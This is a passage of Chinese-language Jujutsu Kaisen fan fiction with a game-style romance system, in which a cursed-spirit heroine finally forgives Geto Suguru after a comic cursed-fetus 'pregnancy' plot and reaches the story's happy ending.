他闭了闭眼,勉强对这些人露出了一个敷衍的笑,随后转身离开。 他们的身上很干净,没有被咒灵侵蚀过的痕迹,这其中是谁的功劳不言而喻。可惜,伏黑惠的善意最终成为了别人攻讦他的武器。 真是太可笑了。 夏油杰回到了高专,没有急着去拜访伏黑家。 他坐在桌子前,手中摩挲着一张存折。 他的动作很小心,从纸张的颜色可以看出,这张存折尽管被保护得很好,但岁月难以抵御,它仍然变得脆弱了。 水痕已经淡到难以看出,只有那一点和周围不一样的褶皱还在提醒他,过去发生了什么事情。 夏油杰不禁出了神。 她还……活着吗?不,她早就死了,死在他的手上,如今已不能称之为“活着”,顶多是还存在着。 密密麻麻的疼痛从心口蔓延到全身,但夏油杰的脸上竟然露出了一丝笑意。 疼痛提醒了他,他不是在做梦。 只是很快,另一个念头又浮了上来,让他笑意顿失。 如果她还存在,那么,为什么不来找他?她不是那么恨他吗? 指甲深深地陷入肉里,掐出了一道道痕迹。 夏油杰倏然起身,椅子向后倒去,发出了沉闷的声音。 很快,对面寝室的门打开,有人敲响了他的房门。 “你没事吧,杰?”五条悟的声音隔着门板传来,他很不客气地说道,“再不开门,我就要踹门咯。” 啪地一声,门开了。 “这么晚了,有什么事吗,悟?”他无奈地问道。 五条悟大摇大摆地闯了进来,开口道:“没什么事,就是担心你又想不开,或者半夜跑了。” 夏油杰哑然,摸了摸鼻子回道:“不会的。” “我不信。”五条悟翻了个白眼,“你大半夜不睡觉,在干嘛呢,拆家?” 他的脚踩在椅子的横杆上,略一用力,椅子又翻转过来。 夏油杰干脆把椅子让给了他,自己坐在床上,往后一仰,喃喃道:“悟,你说小桃是不是不喜欢我了?这么多年了,她都没有来找过我。” 啊不然呢,换了任何一个脑回路正常的人都绝对不会喜欢你吧?也就是因为他们是好友,不然他真的很想打开杰的脑子看看里面到底装了什么。 五条悟有些牙疼,他“哈哈”了两声,怪声怪气地说道:“别这样想,杰,万一她之前受了很重的伤呢?对吧。” 五条悟的本意是想呛他,没想到夏油杰一听,眼睛亮了。 “你说得没错,悟,有可能小桃之前受的伤太严重,所以都在养伤!”他猛地坐了起来,“她本来就被我击中要害,还把那么多咒力输送给了我,一定很虚弱!” 夏油杰越说越觉得有道理,马上就要把自己说服了。 “说不定她现在很需要我……” “少在那里自欺欺人了,杰。”五条悟终究没忍住,打断了他的臆想,“清醒一点吧。” 夏油杰仿佛被定身了一样,整个人都僵住了。 “我是没有恋爱过啦,不过我也知道,在一段感情里,最重要的,是学会放下。”五条悟摘下眼镜,湛蓝的瞳孔里是了然和极细微的怜悯,“她已经决定放过你了,你也该放过她。或许再过一段时间,她就会成佛去了。” 这也是五条悟没有打草惊蛇的原因。 反正打也打不过,就随她去呗。 “成佛……”夏油杰蜷缩着身体,仰头看着天花板。明亮的电灯泡晃得人眼睛难受,有一滴泪水顺着眼角滚落,最后没入发间。 “是啊,这才是每个咒灵的最后归宿。” “不!”从喉咙里挤出来的声音沉闷又带着些许压抑的疯狂,“我不信。” “不信拉倒。”五条悟冷笑一声,“你以为我是情感电台的深夜主播呢。” 见好友没有发癫的样子,五条悟把下巴一抬,转身就要离开。 “哦对了,忘了跟你说。”他回过头,笑容中隐约透出一点阴险,“小惠的术式是‘十种影法术’,嗯,他应该跟你一样也是式神使。” 好巧哦,怎么两人都是黑色头发,都是偏细长的眼睛,而且还都是式神使呢? 一定是巧合啦,对吧(笑)。 无所不能的咒灵之王怎么会找代餐呢?不会吧不会吧。 看着夏油杰比锅底还要黑的脸,五条悟心情舒畅地走了。 第二天早上,两人在教学楼的走廊里擦肩而过。 作为班主任,他们早上都有课。 “早上好呀,悟。”夏油杰没事人一样同他打招呼。 “早哦,杰。”五条悟习惯性地回道。 话刚说出口,他忽然觉得哪里不对。后退两步,他上下打量了几眼黑发男人。 不等他开口,旁边飞快跑过去生怕自己迟到的学生刹了车,惊呼道:“夏油老师,你今天好帅!” 五条悟的眼皮抖了一下。 夏油杰摸着自己今天格外顺滑有光泽的头发,笑吟吟地回道:“是吗,谢谢。” 五条悟靠近了他一点,鼻间嗅到了一点香味。 ???这家伙喷了香水? 不对,不是香水,是脸上擦了什么东西! 五条悟用力地“哈”了一声,夹着嗓子说道:“没关系,我不在乎外表~” 夏油杰低头咳了起来。 “走吧,悟,快上课了。”他低声说完,不紧不慢地走进了教室。 五条悟看着他的背影,觉得有人要开始头疼了。 管他呢,反正也不用他来顶。 耸了耸肩膀,五条悟也走进了自己班级的教室里。 “今天学什么?嗯……让我想想……不如就学一学如何在特级咒灵的手里逃生怎么样。哈哈,我可没有在开玩笑哦……”。 今野桃给伏黑惠准备的惊喜让他度过了一个快乐的毕业典礼。虽然不能亲自参加,但两个小孩拍了很多照片给她看。 其实她去了也没意思,她又不能在照片中留下影像。 空出来的位置只会提醒一同拍照的人,他们之中有个异类。 “这是新的教学楼,然后还有礼堂……”伏黑惠指着一张照片说道。 “感觉变化很大呢。”今野桃配合地说道,“跟我当年读书的时候不太一样了。” 这句话让伏黑惠想起毕业典礼那天看见的黑发男人。 他和小桃姐姐会是什么关系呢?是那种关系吗? 很多问题在他的大脑中过了一遍,但伏黑惠一个都没有问出口。 “小桃姐姐,以后我可能就没那么多时间在家了。”他开口道,“五条老师说,他要给我开始启蒙关于咒术的知识。” 目前伏黑惠所知道的,都是咒术界的常识,许多深入的内容还没有开始学习。五条悟想让他度过一个轻松的童年,毕竟学无止境。真的开始学习后,就有学不完的东西了。 “挺好,学业为重。”今野桃不以为意地说道,“惠以后也一定能成为很厉害的咒术师。” 伏黑惠垂眼,轻声说道:“我不想成为很厉害的咒术师,我只想要可以保护津美纪姐姐和小桃姐姐。” 今野桃瞬间倒吸了一口气。 看看!看看啊!这就是从小养到大的情谊! 《源氏物语》,我今天终于读懂你了! “好孩子!”今野桃脱口而出,“好好努力,以后我带你统一、啊不是,横扫,也不对……” 支支吾吾半天,她一拍桌子,大声说道: “带你打遍天下无敌手!” “……谢谢小桃姐姐。”但是他并不想打遍整个咒术界。 毕业典礼后,今野桃度过了一段悠闲的日子。她以为生活又恢复了平静,直到这天,有人敲响了伏黑家的大门。 一下,两下,带着有规律的节奏感,显然笃定姐弟俩都不在的家里还有人能给他开门。 透过猫眼看见对方,今野桃的脑海中又闪过那个词——墨菲定律。 果然,不想发生的事情最后还是会发生。 没关系,她可以读档…… 男人似是察觉到了她在看他,他故意微微弓着身体,让自己的眼睛低于门上的猫眼。 他自下而上地仰视着她,一双狭长的凤眼愣是瞪成了一副无辜又可怜的下垂眼。 门没开, 于是他的手撑在膝盖上,轻声细语地喊了一声—— “汪。” 第73章 今野桃没有开门。 夏油杰也没有强硬地闯入。 两人隔着一扇薄薄的门板,透过猫眼彼此对视着。 时间一分一秒地过去,但夏油杰脸上的笑容没有丝毫变化。 直到旁边的邻居好奇地伸头看过来,好心地提醒他这里住着的两个小孩都去上课了,家里没人。 身形颇具有威慑力的男人直起身,对毫无咒力的邻居扯了扯嘴角,敷衍地说了一声谢谢,随后才转身离去。 今野桃坐在沙发上,思来想去很久,还是没有读档。 委托人的要求是打出HE结局,而不是要求一百的满值好感。虽然她现在并不追求夏油杰的十万美金,但如果能顺手刷一下,也不是不行。 不过家里的小孩比她想象中的要敏感许多。 放学后,伏黑惠回到家,本能地四下张望了一番。 “小桃姐姐,今天家里来客人了吗?”他略一皱眉,召唤出了玉犬。 两只小狗落地,反应比伏黑惠要强烈得多。 它们这里嗅嗅,那里嗅嗅,表现出了十足的领地被入侵的防备。 “客人?没有哦。”夏油杰才不算客人,她甚至都没让他进门。 伏黑惠眉间的褶皱松开了许多,他垂下眼睑,含糊地说道:“现在外面好多骗子,小桃姐姐要小心。” “好呀。”今野桃笑着点头。 他们好像都忘记了她已经是个咒灵,仿佛她只是一个普通的、容易受伤的女高中生。 夏油杰第二次上门是在深夜,一个并不适合拜访的时间。 伏黑家不大,是两室一厅带个小书房。主卧睡着津美纪,次卧睡着伏黑惠,书房就归今野桃了。 反正都成了咒灵,身外之物也没那么重要。书房收拾收拾,跟房间差不多。 就是窗户小了点,而且不向阳。 躺下去的时候,能从侧面窥见一点月亮的影子,但更多的是星星。 夏油杰就是在她赏星星的时候出现的。他出现得突兀,又在意料之中。 “晚上好啊,小桃。”他穿着一身黑色的修身长风衣,黑色的长发被全部梳成了丸子,插在口袋里的手露出了一小截手腕,隐约能看见皮质手表的一角。 他看起来既有读书时候的青春模样,又兼具了成年后的熟男气质。 青涩的果实已经成熟,只等心上人将它采摘。 今野桃忍不住看了一眼又一眼。 夏油杰自然不会错过这个细节。他的狭长眼眸里盛满了笑意,让人不禁想到了林子里不经意出现又很快消失的狐狸。 “我以为我的态度已经很明确了。”今野桃强迫自己移开视线,“何必作出这种穷追不舍的姿态。” “我想跟你说说话。”夏油杰的声音柔和到近乎低声下气。 “我拒绝。”今野桃生硬地回道,“快滚。” 夏油杰目不转睛地盯着她,似乎在揣度她的想法。 今野桃忽地回忆起了上个周目。那个时候的他,似乎也总是这样看她。用一种极细微的、晦涩的目光打量他,仿佛在寻找时机。 但她没有在意,她正和他的好友打得火热。 如今想想,这个表情实在是太微妙了。 “你是受伤了吗?”他的脚尖挪动,稍稍前进了一点。 今野桃不以为意地回道:“与你无关。” 夏油杰没说话,但看他的表情,她猜测,他的心理活动会很丰富。 他总是这样,什么都不说,都憋在心里,然后自己一个人偷偷变态。 “还有什么事吗?”她不耐烦地问道。 “啊,没有。” 夏油杰的回答让她有一点点惊讶,但不多。 “没有的话,就快离开。”今野桃的眼睛转向隔壁的次卧,“不要影响小孩子睡眠。” 夏油杰也跟着看向了次卧,他的表情越发地复杂。 “那我明天再来……” “别来。”今野桃打断了他的话,“我不想看见你。” 夏油杰噎住,目光逐渐幽深。 “小桃,你该给我个机会,让我弥补。”他一点一点地靠近,终于,两人的距离被拉到只有一臂了,“你不是恨我吗?你该来折磨我、羞辱我、报复我,而不是……远离我。” 他的眼尾微挑,春水似的笑从中流淌出来,指尖掠过她的发梢,力道轻得像是怕惊扰短暂停留的蝴蝶。 泛着冷光的匕首被递出,夏油杰捏着锋利的刀刃,将刀柄送到她的面前。 “我的生命,只能由你来夺走。”他叹道,“你这个狠心将我抛下的家伙。” 今野桃冷漠地看着他。 他太会装模作样了。喉结滚动时,可以把属于男人的低沉嗓音压成绵软的糖丝,吐出来的每个音节都黏连在一起。他弯腰时她才发现,黑色风衣下的衬衫少扣了一个扣子,露出了若隐若现的锁骨。 她的视线下移,落在他骨节分明的手上。递刀的动作显然也是精心设计的,从里到外都透出一股子算好的脆弱感。 他以为她会吃这一套吗? ……不好意思她还真的吃。 “滚出去。”今野桃握紧了拳,像是在控制自己不要揍他。 她有点怕,怕她一巴掌扇出去,他会舔她的手。 夏油杰微微歪了歪头,视线漫不经心地扫过紧闭的房门,意识到时机不对,他失落地说道:“好吧。” 他缓缓后退,消失于夜色之中。 终于走了。 今野桃长长地呼出一口气,烦躁地揉了揉太阳穴。她打开门,外面果然站着一个小孩。 伏黑惠神色紧张,见她完好无损地出来,稍稍放松:“小桃姐姐,你没事吧?” “没事。”她拍了拍正在逐渐脱离孩童模样的少年,说道,“别担心。” 但伏黑惠当然不会因为她的这句安慰就真的放心,他追问道:“是……是咒术师吗?” 他没有看见房间里的男人身影,只是担心来人是不是敌人,她会不会受伤。 今野桃耐着性子回道:“是咒术师,但他打不过我,也跟我认识,所以不用怕。” 原来如此,伏黑惠乖巧地点点头:“小桃姐姐如果需要帮助,请一定要跟我说。” 跟他说什么?说咒术师要祓除她这个咒灵吗?然后他就会来保护她? 这孩子,完全不看阵营,是纯粹的唯心主义者呢。 “好呀,我一定会跟小惠说的。”今野桃失笑道。 伏黑惠挺了挺胸膛,回到了自己的卧室。 第二天,他打电话回来,告知她自己和津美纪今天不回家了。 “五条老师说要带我们去做个任务。”他压低了声音,但仍然能听出其中的兴奋和激动,“因为等级不高,很适合用来给学生练手。” “几级呀?” “二级。”伏黑惠对咒灵的等级不甚了解,轻松将话说出。 很好,用二级咒灵给新生练手,不愧是五条悟呢。 不过对他来说,一级、二级和三级应该也没有差别吧,反正都是一击结束。 “那你们注意安全哦。”特级咒灵今野桃面不改色地说道。 “嗯,小桃姐姐也是。” 当天夜里,夏油杰果然又不请自来。 今野桃在家中偶遇顶级魅魔,拼尽全力勉强战胜,艰难保住了自己的清白。 但夏油杰很清楚地感知到了她的动摇。他舔了舔小臂上还带着血痕的牙印,弯了弯眼睛。 快了,她已经对他心软了。只要保持耐心,水滴石穿,石头也有被焐热的一天。 他这么坚信着。 但有人已经厌倦了这一切。 今野桃用食指抵着额头,神色淡淡地看着眼前的不速之客。 他又换了一件新的衣服,新衣服比之前的衣服更薄了,借着月色都能看见透光的衣服下面半遮半掩的肌肤。黑色的领带倒是打得整齐,板正地垂下。 一看就不是正经老师。 “你没有自己的事情做吗?”她目不转睛地看着衬衫上隐隐约约的两点深色。 他都这样穿了,她当然也看得大大方方。反倒是勾。引人的那个,被看得竟然有些不自在了,但他犹豫许久,还是没有躲开。 “这就是我最重要的事情。”他轻声细语地回道。 话音落下,忽然间,兔起鹘落,原本蹲着的男人被用力拽住了手腕,猛地摔到了沙发上。他正要本能地挣扎,肩膀却仿佛压上了巨石,让他深深地陷入软垫之中。 “小桃……” “安静点。”今野桃捂住了他的嘴巴。 夏油杰乖巧地不说话了。 “想要抱吗?”她的黑色长发垂落,如帘子一般遮住了灯光,将他笼在只有两人的世界里。 喉头上下滚动,他不自觉地点了点头。 “那就讨好我。”女生伏在他的身上,明明看起来年长许多,但他看上去显然完全没有还手之力,“让我看看你的诚意。” 诚意…… 夏油杰的眼睛亮得吓人,像是将被处死的囚犯在屠刀落下的前一秒听见被赦免的消息…… 可惜她是骗他的…… 仍然没能领悟反转术式,深深浅浅的痕迹久久地留在他的皮肤上难以消退。 餍足地抹了一把男人汗湿的脸颊,她笑道:“咒灵操使被咒灵玩弄,真有意思。” 第74章 怎样才算是真正的忏悔? 是跪在地上痛哭流涕,发誓自己以后绝不会再犯;还是想尽办法补偿,最后说一句“我愿意付出一切来换取原谅”。 看似后者更有诚意,但其实这两个选择并没有分别,都是在对被害者进行道德绑架。 这种交易式的赎罪只会让人火大,起不到一点作用。 越是玩弄手段,越是不会得到原谅。 今野桃将夏油杰扔出伏黑家的第二天,他没有再上门自讨苦吃了。第二天、三天……他不再出现在宅子附近。 是终于放弃?还是又在想别的花招。亦或者,这也是他骗取原谅的手段。 比如把她当什么动物训,故意用戒断的方法,让她忍不住想他。 今野桃坐在窗边,眺望着如血的残阳。 不论如何,他得不到他想要的东西。 她心中隐隐有感觉,或许原谅夏油杰的那一刻,HE结局就能打出来了。操控的按钮握在她的手中,她决定着一切的开始和结束。 但她还没有尽兴。 再多让她欣赏一点吧,那种破碎的样子。 今野桃的嘴角微微勾起。 津美纪去了同学家,伏黑惠踩着影子出现在了街道的尽头,他今天又回来晚了。然而,他的脸上没有以往训练后的疲倦与兴奋,眉眼间带着些许沉郁。 “怎么,今天的任务失败了?”她随口问道,“失败乃成功之母,下次继续努力就是了。” 伏黑惠摇摇头,站在了她的边上,忽然开口道:“小桃姐姐,我的父亲……是一个怎样的人呢?” 今野桃喝茶的手顿住。 “怎么突然问这个?”她温柔地说道,“是有人同你说了什么吗?” 伏黑惠低声说道:“今天有人来找了我,说他是……是我父亲的族人。” 哦,禅院啊。 “嗯,然后呢?”今野桃捻了捻手指,觉得有点手痒了,“他想带你回禅院?” “不是。”伏黑惠摇摇头,“他说我虽然有很厉害的术式,但还是比不过我的父亲。” 今野桃默了默,问道:“那个人的头发是不是金色的?带点黑色?眼睛上挑,称呼你的父亲为‘甚尔君’?” 伏黑惠一下子瞪大了眼睛:“小桃姐姐认识他?” 怎么全都说对了! 今野桃扶额:“算是认识吧。” 那家伙,可是禅院甚尔的毒唯。不对,应该说,那家伙是一个绝对的实力至上主义者。 “别理他,他也不会对你做什么。” 就算禅院直哉脑子不清醒,禅院直毘人也会阻止他的。 如果他真的敢对伏黑惠下手,今野桃也只好把他也同羂索一起,纳入必杀名单之中了。他可没有羂索这么会躲,恐怕以后就会成为她每周目的第一滴血。 理所当然的语气安抚了伏黑惠略有些害怕的心,他沉默地点头,不再追问了。 今野桃摸了摸他的头发,说道:“你的父亲,确实是一个很厉害的人,他击败过你的五条老师。” 伏黑惠的眼中浮现出难以置信。这段时日下来,他已经大概了解那位五条老师到底有多么厉害了。可是,这样的人,也被他的父亲打败过吗? “不仅仅是五条老师哦,还有你的夏油老师也是。” 这句话一出,伏黑惠已经想象不出来自己的父亲是个什么样子了。 几岁的记忆彻底模糊,那个看不清楚的身影越来越高大。 “原来如此……”他讷讷说着,“我、我会努力的……努力成为比父亲更厉害的人……” 至少不能堕了父亲的威名…… “虽然很高兴听见你有这么远大的志向。”今野桃捏了捏他的脸颊,失笑道,“但小惠不需要和任何人比。在爱你的人心里,你已经是最好的那个了。” 伏黑惠低下头,攥紧了她的衣角。他大概是被夸得心中不好意思了,脸上出现淡淡的红色,目光也开始闪烁。 这个可爱乖巧的性格,禅院甚尔那家伙才比不上呢。 “嘻嘻,小惠在我心里就是最可爱的哦。”她忍不住故意开口逗他。 伏黑惠嗫嚅了几下,小声回道:“小桃姐姐在我心里,也是最好的人之一。” 还有一个是伏黑津美纪。 今野桃深吸了一口气,猛地抱住了他,把他揉来揉去。 “小惠啊!以后一定不能成为糟糕的大人!” 伏黑惠浅浅地挣扎了一下,没有挣开就算了。他嘀咕道:“肯定不会的……” “尤其是那种满口谎言,就知道骗女人的大人,更要离得越远越好!”今野桃着重强调了这一点。 “知、知道了……” 他肯定不会成为骗女人的人啊! 伏黑惠笃定地想。 他恢复了平日里的精神,将书包脱下来,挽起袖子说道:“小桃姐姐,家里还有黄油吗?” 今野桃想了一下,回道:“应该还有一些,你要做什么吗?” 伏黑惠将面粉和鸡蛋拿了出来,说道:“我想做点小蛋糕送给夏油老师。” 今野桃停顿了一下,若无其事地问:“夏油老师生病了?” “应该是,我听高专的学生说,他请假好几天了。”伏黑惠对两个总是偷偷给他开小灶的老师非常尊敬,“五条老师不肯告诉我夏油老师在哪个医院,我就想着做点小蛋糕麻烦五条老师带给夏油老师。” 也算是他的一点心意了。 “……这样吗。”今野桃撑着下巴,重新将目光投向了窗外。 又有人来了。 五条悟的消息灵通,一听见禅院家的人来找伏黑惠,马上后脚就跟了过来。 他和今野桃的视线短暂地接触了一下,随后不约而同地移开。 “惠酱!”他一只手撑在门框上,另一只手潇洒地朝他挥了挥,“晚上好!” “五条老师?”伏黑惠第一反应是去看今野桃。 好在两人没有打起来 的征兆。 “嗯哼,惠酱,今天是不是有怪叔叔来找你了?”五条悟双手插兜,走了进来。 伏黑惠有些无语,但还是回道:“确实有人来找我了。” “哼,那些人倒是会摘桃子,惠酱可是我辛辛苦苦养大的呢!” 五条悟大言不惭的模样令人侧目。善良的伏黑惠没有反驳,毕竟他确实接受了五条悟的资助。 “以后你不必同那些人多说,他们要找你,你就让他们来找我。”五条悟抬了抬下巴,轻嗤一声,“欺负小孩子可不对。” 伏黑惠抿了抿嘴,轻轻点头。 “别这么不情愿的样子,这些可不是应该让小孩子做的事情。”五条悟用力揉了一把伏黑惠的短发,差点把他推了个四脚朝天,“哟,这是在做点心呢?是给我的吗?” 伏黑惠艰难地稳住身形,不情不愿地说道:“是给夏油老师的。” 大概是怕他生气,他又补充了一句:“夏油老师的口味偏咸,糖要减半;五条老师喜欢甜食,要双倍糖。下次可以做给五条老师。” 五条悟也没打算为难一个小孩,不过他在听见夏油杰的名字从这个小孩的口中说出时,忍不住看了一眼始终保持沉默的特级咒灵。 今野桃:? 看她干嘛? 五条悟清了清嗓子,开口道:“惠酱知道夏油老师生了什么病吗?” 伏黑惠一听,神情紧张起来:“什么病?很严重吗?” 这家伙,不会是想说相思病吧? 今野桃面无表情地想,敢在孩子面前胡说八道,她一定会把他也丢出去的。 “是啊,非——常严重!”五条悟严肃地说道。 伏黑惠倒吸了一口气:“我、我能去看望一下夏油老师吗?” “嗯……不太方便呢。”五条悟出乎意料地拒绝了,“夏油老师可能不会愿意见你。” 越说越离谱了。今野桃皱起了眉,用警告的语气喊了一遍他的名字:“五条悟。” “不过你带她一起去,或许夏油老师就愿意见你了。”五条悟笑吟吟地说道。 伏黑惠懵懂地看了一眼今野桃,又看了一眼自己的老师。虽然还是个孩子,但他好像懂了什么。 小桃和夏油老师……不会吧,夏油老师那么温柔,怎么会是小桃口中那个让她遭受过不好事情的人呢? 不,也有可能,一切都是夏油老师的伪装,其实他的真实性格就是人渣! “你也滚出去。”今野桃不客气地对五条悟说道。 “哇!你好冷酷!”五条悟大呼小叫起来,“而且还无情!” 今野桃端起茶杯,意在送客,她幽幽开口:“你是不想活了吗?” 五条悟抱着手臂,一脸深沉地说道:“就算你这样冷酷无情,我也必须将这件事告知你……” 他终于说出了这一趟真正重要的事情。 “杰怀孕了。” “孩子是你的。” 今野桃眨了眨眼睛,这两句话在她的大脑里反复过了几遍,才终于让她读懂。她猛地僵住,瞳孔骤然缩紧,像是被一道雷劈中,手中的杯子啪地一声摔碎在地。 一片死寂中,她抖着声音说道:“你在开玩笑吧?” 五条悟对她比了个wink:“你猜。” 今野桃:…… 猜!她猜个屁!! 第75章 今野桃指挥伏黑惠回自己的房间,她有预感,接下来的话不是小孩子能听的。 伏黑惠的目光在两人间打了个转,乖巧地点头应下。 在没有第三个人后,今野桃揉了揉额头,一时间竟然不知道该说什么。 良久,她指着自己,认真地说道:“你确定,是我让他怀孕了?” “嗯哼,毕竟杰应该只跟你睡过吧。”五条悟大大咧咧地说道。 今野桃闭了闭眼:“他是男人!” “是啊,你还是咒灵呢。”五条悟感慨道,“真没想到,跨种族也能诞生爱的结晶。” 今野桃的表情都要扭曲了,她最后问了一个问题:“就算我跟他睡了,但那也只是几天前的事情,你们怎么能这么快就确定他怀孕了?” “哇,真是好不负责的话。”五条悟嘟囔道,“这可千万不能让杰听到,影响他的心情呢。” 今野桃凝视着他,显然不得到答案决不罢休。 五条悟只能说道:“这个问题一时半会真说不清,你不如亲自去看看。” 亲自去看…… 今野桃沉吟片刻,开口道:“地址在哪?” “东京高专。”五条悟回答,“他现在的状况,我们也不敢让他随意离开,需要硝子的照看。” 今野桃起身,几不可闻地叹了口气。 “那就走吧。”她垂眸道,“我去看看他。” 一路无话,他们在深夜抵达了高专。进入高专的时候,明明今野桃并未登记,但警报声没有响。 是之前的记录还留存着? 今野桃落后五条悟一步的距离,跟着他往前走。 穿过一栋栋建筑,最后他们停在了一个布下了结界的小房间。 夏油杰已经醒了,正在由家入硝子做检查。他的衣服往上撩起,露出暂时还看不出来什么的肚子。 “哟,杰,你现在感觉怎么样?” 夏油杰没有回答,目光越过了五条悟,落在他的身后。 他没有想到她会来,也并不希望她来。 他害怕自己会听到不想听的话。 今野桃上前,自顾自地拉过一把椅子,坐下。 “真的怀了?”她近乎喃喃地问道。 夏油杰无奈地笑道:“你别听悟胡说八道,跟你没有关系的。” “哈。”五条悟推了推眼镜,不高兴地说,“谁胡说八道了,我可是看得清清楚楚,你的肚子里有一股不属于你的咒力,它和你的咒力搅和在一起,像是两团混在一起的橡皮泥!” 说着说着,五条悟起劲了。 “不仅是肚子,你回来的那天,哇塞,你浑身上下都是她的咒力残秽耶!你知道吗,杰,你看起来就像是泡在水里的落汤鸡!” 躺在床上的夏油杰没办法跳起来捂住他的嘴巴,只能听他滋儿哇滋儿哇。 今野桃没忍住摸了摸鼻子。 夏油杰移开视线,被黑色长发遮掩住的耳根泛起了红色。 做的时候不觉得,一旦被点出来,就感觉玩得有些变态了。 “说实话,我真的好奇起来了。”五条悟弯腰,凑近了夏油杰,“你们是怎么做到把她的咒力注入杰的体内?是只要这样就能怀上咒灵的孩子,还是只有杰能做到这个呢?” 这个问题困扰他好几天了。 但今野桃也给不了他答案。因为她自己也不知道。 “应该是我自己的原因吧。”夏油杰低声笑了起来,“大概是因祸得福,我好像大概领悟了属于我的领域展开。” 领域展开胎藏遍野。至于具体有什么能力,还需要慢慢开发。 五条悟愣住了。 这也能领悟领域?!难道变强的道路上,总要放弃些什么吗? 他浑浑噩噩地被家入硝子推了出去,已经越发成熟有气场的女人说道:“好了,不要在这里做电灯泡了,五条。” 等到两人离开,病房里有些诡异的平静。 今野桃的脑海中已经乱成一锅粥了,有好多话堵在喉咙中,说不出来也咽不下去。 该说什么?说这个孩子不能留下?怎么听怎么觉得她是个彻头彻尾的渣女吧?不要啊!她虽然鲨人放火,但她真的是纯爱党!她很有道德的! “你想要我打掉它吗?”他艰难地撑起来,半倚在床头,眉间微蹙,从喉咙深处挤出一两声虚弱的咳嗽,却又故意压低了声音,好似怕她听见。他的眼皮下垂,手指无力地搭在额头上,嘴唇几乎没有一丝血色。 又在装可怜了。 今野桃想着,手却不受控制地把只盖住他下半身的被子往上扯了扯。 “它不是一个正常的孩子。”她犹豫地说道,“你不能留它。” 意识到没办法用这样可怜的样子打动她,夏油杰换了种方式:“所以你要剥夺我生育的权利?这可能是我唯一一次能生下自己孩子的机会了。”他的眼角泛红,语气激烈,像极了一个努力保护孩子的……母亲。 “……”你要不要听听自己在说什么?今野桃双目无神地想。不会是那天 把他玩坏了吧? 她曾经听说,女人怀孕后会分泌一种激素,能刺激女性的“母性”,让她变得越来越看重孩子,彻底改变一个人。 夏油杰不会就是这样吧?!这也太可怕了! 看着她仿佛被雷劈过的神情,夏油杰终于噗嗤一声笑了出来。 “好了,我是骗你的。”他舒缓了眉眼,说道,“谁让你那天做得那么狠,明明后面我有说过不要的吧。” 今野桃嘴唇蠕动了一下,小声问道:“骗我……是什么意思?” “就是说,不管你来不来,不管我做怎样的努力,这个孩子都是没办法出生的。”夏油杰悄悄地把手从被子下面探出来,虚虚地拢住她的手腕,“不对,它不是孩子。悟说,它哪怕是成熟了,也不过是没有神志的咒胎。” 咒胎是一种特殊的诅咒,通常是由人类或咒术师在特定条件下转化而成。其中最常见的,就是强烈的执念。 今野桃自认为从没想过孩子的事情,也就是说,这个孩子诞生于夏油杰的希望之中。 他迫切地渴望拥有着能与她产生联系的东西,好像这样就能抓住什么。 “怎样取掉它?”今野桃吞咽了一下,问道,“要像流产一样吗?” “大概是用反转术式吧,硝子会帮助我。”他故意用一种轻松的语气说道。 今野桃抿了抿嘴,说道:“我来吧。” “不。”夏油杰少见地坚定拒绝了,“我不希望你在场。万一,我露出了很难看的模样呢?” 今野桃哑然。 养了几天身体,夏油杰本来就打算今天把肚子里的这个不明物弄掉,今野桃的到来完全是意外。 后来她被请了出去,坐在门口的长凳上。恍惚间,她真的有一种自己身为丈夫,妻子却在病房里流产的感觉。 她忍不住打了个哆嗦。 兜兜转转,人渣竟是我自己? 夜里的风很冷,但今野桃的心更凉。 家入硝子和五条悟出来的时候,询问她是否会留在这里看顾昏迷的夏油杰,得到了肯定的答案后,才安心离开。 今野桃悄无声息地走进去,坐在他的床边。 他现在看上去是真的虚弱,而不是一开始那种伪装出来的。 今野桃有点心虚。她的手掌贴在他的腹部贴了贴,又很快拿走。 她担心自己不自觉地使用了术式,万一真的把夏油杰变成了女人怎么办?她现在有心里阴影了。 乱七八糟的念头将她的大脑填满,不知不觉间,她靠着墙睡着了。 睁开眼的时候,她望进了一双深紫色的眼眸中。 夏油杰含笑和她对视着。 外面的天已经蒙蒙亮,稀薄的光透过窗帘的缝隙钻进来,并不能让人觉得温暖。 “我想起我们第一次见面的时候,好像我也是这样狼狈的样子呢。”他的喉咙有些沙哑。 “……我现在可没有巧克力给你。”今野桃生硬地回道。 夏油杰顿了顿,开口道:“你会后悔认识我吗?” 他问出了当初她问他的那句话。 一定会吧?这种想都不用想的问题,她或许会暴怒地跳起来,指着他的鼻子骂他明知故问。 “……不会。”今野桃没有看他,只是看着那点稀薄的光,“我相信,当初的爱是真的。不管是我对你,还是你对我。” 夏油杰没说话,只是微微仰着头,用指关节抵住眉骨,有两道水痕自眼角没入鬓发间。 他咬着嘴唇,竭力克制着自己的哽咽,哪怕尝到了血腥味也不肯松开。 今野桃看着很久没有变过的好感值,终究是心软了。 算了算了,想想十万美金!男人不值得,但钱值得。 她伸出手,用指尖抹去他的泪珠。 【夏油杰好感值:100】 他用力拽住了她的袖子,力气之大,手指甚至都在颤抖。 今野桃的另一只手抬了起来,在空中悬了许久,最终还是落在了他的手背上。几乎是立刻,夏油杰翻转手腕,回握住了他。 这是他绝对、绝对不会放开的稻草,是将他拉出地狱的绳索。 是他的一切。 【夏油杰—爱的胜利(HE) ——你就是我的生命、我的热情、我的氧气、我的欢乐、我的真实,是温暖我骨头的阳光。】 第76章 夏油杰平平无奇的一天,从抵御情敌开始。 一号情敌,恋人一手养大的炸毛海胆。 “早上好,夏油老师。”对方非常有礼貌地打招呼,“我来给小桃姐姐送早点。” 夏油杰露出一个习以为常但并不想让他进门的笑容:“啊,是吗,交给我就行了。” “好。”伏黑惠把孩冒着热气的早点放在了玄关处的柜子上,叮嘱道,“要麻烦夏油老师提醒小桃姐姐了,不然她会忘记的。” “哈哈,我知道的哦。”夏油杰嘴角的弧度不变,“快去教室吧,小惠,不然你会迟到的。” “没关系,我可以让鵺带我飞过去。”伏黑惠没什么表情地说道,“很快的。” “……”夏油杰觉得,高专必须增加一条禁飞的命令。 什么?你说他上班也是飞过去的?那老师和学生能一样吗! 把刚刚上高中的小屁孩打发走,夏油杰这才回到了卧室,准备把还在睡觉的恋人叫醒。 也不是他小气,这栋靠近学校的房子只有一室一厅,根本没办法招待客人呀。 呼。 他轻轻对睡梦中的恋人吹了一口气。她的睫毛颤抖起来,在眼下映出细碎的影子。 睁开眼睛的一瞬间,他仿佛感觉到整个世界都变亮了。 “想起床吗?”他柔声说道,“我早上有课,如果你不想起床的话,可以继续睡哦。” 他选择性遗忘了昨天她提起过的事情。可惜,她还记得。 